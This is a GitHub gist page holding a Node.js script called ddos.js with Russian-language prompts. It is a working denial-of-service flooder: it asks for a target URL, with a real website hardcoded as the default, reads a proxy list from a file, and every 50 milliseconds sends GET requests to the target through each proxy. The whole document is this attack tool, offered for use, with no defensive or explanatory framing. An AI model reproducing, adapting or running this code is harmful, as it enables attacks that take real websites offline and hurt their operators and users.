Skip to content

Instantly share code, notes, and snippets.

@6pm
Forked from venomjke/ddos.js
Last active August 29, 2015 14:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 6pm/df4930e68352dd526967 to your computer and use it in GitHub Desktop.
Save 6pm/df4930e68352dd526967 to your computer and use it in GitHub Desktop.
var request = require('request'),
util = require('util'),
fs = require('fs'),
events = require('events');
var attackUrl = 'http://ispi.ru/';
var proxyLists = [];
var proxyFile = __dirname+'/proxylist.txt';
var e = new events.EventEmitter;
function ask(question,format,callback){
var stdin = process.stdin,stdout = process.stdout;
stdin.resume();
stdin.setEncoding('utf8');
stdout.write(question+' : ');
stdin.once('data',function(data){
var data = data.toString().trim();
if(format.test(data)){
callback(data);
}else{
stdout.write("Ввод должен соответствовать: "+format+"\n");
ask(question,format,callback);
}
})
}
function doAttack(){
if(fs.existsSync(proxyFile)){
var file = fs.readFileSync(proxyFile,'utf8');
if(file){
proxyLists = file.split('\n');
util.debug('Список proxy загружен '+proxyLists);
setInterval(function(){
for(var i in proxyLists){
(function(i){
request(
{
method:'GET',
url:attackUrl,
proxy:'http://'+proxyLists[i]
},
function(err,response,body){
if(!err){
if(response.statusCode == 200){
util.debug('Страница по адресу '+attackUrl+' загружена.');
return;
}
util.debug('Страницу загрузить не удалось:['+response.statusCode+']');
return;
}
e.emit('error',err);
}
);
})(i);
}
},50);
}
}
};
e.on('error',function(err){
console.log(err);
});
try{
ask("Введите url атакуемого ресурса",/^http:\/\/(.*)\.(.*)$/,function(url){
attackUrl = url;
doAttack();
});
}catch(e){
console.log(e);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment